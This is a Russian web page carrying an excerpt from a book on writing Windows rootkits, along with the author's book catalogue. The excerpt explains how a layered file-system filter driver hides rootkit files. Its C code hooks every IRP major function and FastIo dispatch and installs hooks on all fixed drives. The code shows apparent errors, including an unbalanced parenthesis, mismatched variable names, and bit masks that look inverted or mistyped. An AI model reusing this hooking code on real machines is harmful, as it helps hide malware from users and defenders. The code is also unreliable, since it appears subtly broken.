Есть вопрос?
Зайди на форум

Поиск:

Denix: русификация Ubuntu и кодеки :: RSS:: Скачать книги Колисниченко в PDF

Англо-русский словарь компьютерных терминов (Д. Колисниченко)

A  B  C  D  E  F  G  H  I  K  L  M  N  O  P  Q  R  S  T  V  W  X  Y  Z 

укрпочта отслеживание посылок перевод денег график отключения света в Кировограде график отключения счета в Киеве график отключения света в Одессе (zip)

Книга Д. Колисниченко Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.

17.1. Преимущества использования многоуровневых драйверов

Одна из самых важных функций руткита - это сокрытие файлов руткита и файлов, которые вы указали в конфигурационном файле руткита. В предыдущих главах мы рассматривали способ сокрытия файлов путем установки ловушки для таблицы SSDT. Но такой способ имеет два недостатка: во-первых, его можно относительно легко обнаружить, а во-вторых, он не позволяет скрыть файлы, расположенные на общих разделах. Используя многоуровневые драйверы, мы можем избавиться от этих недостатков.

Как всегда, начнем с функции DriverEntry:

NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, IN PUNICODE_STRING RegPath)

{

...

for (i=0; i<=IRP_MJ_MAXIMUM_FUNCTION; i++)

  {

    Driver->MajorFunction[i] = DispatchFunction;

  }

Driver->FastIoDispatch = My_FastIOHook;

}

Все элементы массива функций MajorFunction устанавливаем равными DispatchFunction. Это наша главная функция. Также мы устанавливаем таблицу FastIoDispatch. FastIo - это один из методов коммуникации драйверов файловых систем.

Для установки ловушки для диска мы будем использовать функцию set_drive_hook. Для установки ловушки для всех дисков используется  следующий код:

DWORD drives = 0;

for (i=0; i<26; i++) drive_devices[i] = NULL;

drives_to_hook = 0;

get_drives_for_hook(&drives);

set_drive_hook(drives, Driver);

Функция get_drives_for_hook возвращает список дисков, для которых можно установить ловушку. В список не войдут следующие диски:

·   Диски, тип которых невозможно определить

·   Диски, на которых не существует корневого каталога

·   Сменные диски (дискеты, компакт-диски, Flash-диски)

На эти диски нет смысла помещать скрытые файлы, поэтому мы исключаем их из списка. Нас интересуют диски следующих типов:

NTSTATUS get_drives_for_hook(DWORD *drives)

{

PROCESS_DEVICEMAP_INFORMATION dev_map;

NTSTATUS status;

int drive;

DWORD AllDrives, AvailDrives; // все диски, доступные диски

 

if (drives == NULL) return STATUS_UNSUCCESSFUL;

 

status = ZwQueryInformationProcess((HANDLE) 0xffffffff, ProcessDeviceMap,

&dev_map, sizeof(dev_map), NULL);

 

if(!NT_SUCCESS(status)) return status;

 

// Получаем список дисков

AllDrives = dev_map.Query.DriveMap;

AvailDrives = AllDrives;

for (drive = 0; drive < 32; ++drive)

{

if (AllDrives & (1<< drive)

{

switch (dev_map.Query.DriveType[drive])

{ case DRIVE_UNKNOWN:

  case DRIVE_NO_ROOT_DIR:

    AvailDrives &= ~(1 << drive);

    break;

  case DRIVE_REMOVABLE: AvailDrives &=(1 << drive); break;

  case DRIVE_CDROM: AvailDrives &=(1 << drive); break;    

 

}

}

*drives = AvailDrives;

return status;

}

 

Теперь рассмотрим код функции set_drive_hook (устанавливает ловушку):

 

ULONG set_drive_hook (IN ULONG Drives, IN PDRIVER_OBJECT Driver)

{

PHOOK_EXTENSION hook_ext;

ULONG drive, i;

ULONG bit;

 

for (drive=0; drive<26; ++drive)

{

  bit = 1 << drive;

  if ((bit & Drives) && !(bit & drive_to_hook))

   {

    if (!hook_drive(drive, Driver))

    {

      // удаляем диск из набора дисков, если невозможно установить ловушку

      Drives &= ~bit;

     }

     else

    {

     for (i=0; i<26; i++)

     {

       if (drive_devices[i] == drive_devices [drive])

       { Drives |= (1<<i);

       }

      }

    }

 }

  else if (!(bit & drives) && (bit & drive_to_hook))

   {

// Снять ловушку для всех дисков

     for (i=0; i<26; i++)

      {

        if (drive_devices[i] == drive_devices [drive])

           {

             unhook_drive(i);

             Drives &= -(1 << i);

           }

       }

    }

}

 

drives_to_hook = Drives;

return Drives;

}

На главную

Мне нравится!

Сегодня: 16/01

Именинники:  Андрюха aka host

Последние посты форума

Интересная картинка

Samsung Galaxy J2 Prime (SM-G532F)

дааа

Обучение PHP-программированию

Новый дизайн сайта

Возвращение на динамическую страницу сайта

С Новым Годом!

Бесплатный хостинг, SSL сертификат, не ограниченно

капец погода в ноябре у нас

Посоветуйте хостинг

флэшмобы

вот люди где живут... экстрим

авто-дилеры

Программы для Linux

книга Командная строка Linux и автоматизация рутинных задач

Совет:

Книги Д. Колисниченко:

Linux

GIMP 2 - бесплатный аналог Photoshop для Windows/Linux/Mac OS: 2-е издGIMP 2 - бесплатный аналог Photoshop для Windows/Linux/Mac OS: 2-е изд
Рассматривается работа с бесплатным и свободно распространяемым популярным графическим редактором GIMP. Материалы второго издания книги основаны на версиях GIMP 2.6.7 и 2.7.0.                                                                                                                              

99 советов по Linux99 советов по Linux
Даны ответы на актуальные вопросы по использованию операционной системы Linux на домашнем или офисном компьютере. В данный момент книга устарела. Думаю, в скором времени реанимирую                                                                                                                         

Mac OS X Lion. Руководство пользователя (PDF)Mac OS X Lion. Руководство пользователя (PDF)
Эта книга — практическое руководство по использованию компьютеров компании Apple с операционной системой Mac OS X Lion. В ней рассказывается, как работать в этой ОС, какие возможности она предоставляет пользователю, как ее правильно настроить. Рассмо                                                   

PHP

Самоучитель PHP 4/5Самоучитель PHP 4/5
Моя первая книга по PHP, на базе которой была написана книга Самоучитель PHP5 (НиТ). Давно распродана и не поддерживается                                                                                                                                                                                    

PHP и MySQL. Разработка Web-приложений. 4-е издPHP и MySQL. Разработка Web-приложений. 4-е изд
Даны начала программирования на PHP: установка и настройка Apache, PHP, MySQL и кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP 5.4. Рассмотрено создание собственного движка сайта и ряда дополни                                                   

PHP и MySQL. Разработка веб-приложений. 5-е изд.PHP и MySQL. Разработка веб-приложений. 5-е изд.
Даны начала программирования на PHP: установка и настройка Apache, PHP и MySQL, а также кроссплатформенной сборки XAMPP, выбор редактора PHP-кода, синтаксис языка и самые полезные функции PHP. Рассмотрено создание собственного движка сайта и ряда доп                                                   

Интернет/CMS

Самоучитель Joomla!Самоучитель Joomla!
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки построить свой сайт, так и на разработчиков, которые заинтересованы в создании собственных расширений и шаблонов для популярной системы управления контентом                                                   

Drupal 7. Руководство пользователяDrupal 7. Руководство пользователя
Эта книга — простое и эффективное учебное пособие по освоению и использованию системы управления контентом веб-сайта Drupal версии 7.0                                                                                                                                                                       

Движок для вашего сайта. CMS Joomla!, Slaed, PHP-NukeДвижок для вашего сайта. CMS Joomla!, Slaed, PHP-Nuke
Книга ориентирована как на обычных пользователей Интернета, которым нужно в кратчайшие сроки создать свой сайт, так и на разработчиков, которые заинтересованы в построении собственной системы управления сайтом.                                                                                           

Компьютер/Windows

Microsoft Windows 8 для пользователейMicrosoft Windows 8 для пользователей
Описаны нововведения Windows 8, особое внимание уделено использованию системы на планшете. Рассмотрена установка системы как на физический компьютер (стационарный, ноутбук, нетбук, планшет)                                                                                                                

Секреты реестра Windows XP/VistaСекреты реестра Windows XP/Vista
Описано устройство реестра операционных систем Windows XP/Vista. Реестр этих двух версий Windows похож, но не одинаков, поэтому в книге особо выделены функции, доступные только в XP и доступные только в Vista.                                                                                            

Самоучитель работы на компьютереСамоучитель работы на компьютере
Это самый полный, доступный и вместе с тем краткий самоучитель работы на компьютере.Проработка этого самоучителя - залог вашей компьютерной грамотности. Вы узнаете самое главное о выборе конфигурации ПК...                                                                                                

Сети

Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.Сделай сам компьютерную сеть. Монтаж, настройка, обслуживание. Изд. 2.
Книга о настройке сети в Windows (98,NT,XP) и Linux. Является превосходным практическим руководством по созданию и обслуживанию компьютерных сетей.                                                                                                                                                          

Беспроводная сеть дома и в офисеБеспроводная сеть дома и в офисе
Книга поможет начинающему администратору домашней или офисной сети в кратчайшие сроки развернуть, настроить или модернизировать беспроводную сеть. Отличный выбор для построения сети SOHO                                                                                                                   

Самоучитель системного администратора. 4-е изд.Самоучитель системного администратора. 4-е изд.
Изложены основные задачи системного администрирования, описаны базовые протоколы, даны рекомендации по выбору оборудования и проведению ежедневных рутинных операций. Подробно раскрыты технологии, используемые при построении информационных систем, опи                                                   

Безопасность

Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.Rootkits под Windows. Теория и практика программирования “шапок-невидимок“, позволяющих скрывать от системы данные, процессы, сетевые соединения.
-                                                                                                                                                                                                                                                                                                            

Анонимность и безопасность в Интернете. От Анонимность и безопасность в Интернете. От "чайника" к пользователю
Простым и понятным языком рассказано, как скрыть свое местонахождение и IP-адрес, используя анонимные сети Tor и I2P, посетить заблокированные администратором сайты, защитить личную переписку от посторонних глаз                                                                                          

Автомобили

Особенности безопасной езды в разных условиях (город, бездорожье, гололед, горный серпантин).Особенности безопасной езды в разных условиях (город, бездорожье, гололед, горный серпантин).
Безопасная езда - это когда целы машина, пассажиры, водитель и деньги водителя                                                                                                                                                                                                                               

Новичок за рулем 2. Выбор автомобиля, дальняя поездка...Новичок за рулем 2. Выбор автомобиля, дальняя поездка...
Книга вторая. Желательно прочтение первой книги. Рекомендуется всем начинающим (и не только) водителям/ . Текст этой книги бесплатно доступен в моем блоге http://dkws.net                                                                                                                                   

Популярный самоучитель безопасного вожденияПопулярный самоучитель безопасного вождения
Ценность этой книги в том, что впервые советы вам будет давать проверенный профи: президент клуба BMW! Как быстро и правильно научиться водить машину, парковаться, разгоняться, тормозить.                                                                                                                  

Переводные книги

Переводные книгиПереводные книги
Данные книги были переведены мною на русский язык (с английского и чешского). Надеюсь качество перевода вам понравится!                                                                                                                                                                                      

Android

Планшет и смартфон на базе Android для ваших родителей, 2-е изд.Планшет и смартфон на базе Android для ваших родителей, 2-е изд.
Книга знакомит читателя с мобильными устройствами на базе Android. Она написана простым и понятным языком для людей среднего и старшего возраста                                                                                                                                                             

Безопасный Android: защищаем свои деньги и данные от кражиБезопасный Android: защищаем свои деньги и данные от кражи
Рассмотрены различные способы обеспечения безопасности Android-устройств: шифрование персональной информации, хранящейся на устройстве, шифрование передаваемых данных, VPN-соединения, анонимизация трафика                                                                                             

Планшет и смартфон на базе Android для ваших родителейПланшет и смартфон на базе Android для ваших родителей
Книга рассчитана на людей среднего и старшего возраста. Она поможет освоить современный «карманный компьютер» на базе Android, в котором все новое и "не так, как в Windows". Доступным языком описывается, как включить и выключить смартфон и т.д.                                                         

Статьи

Rambler's Top100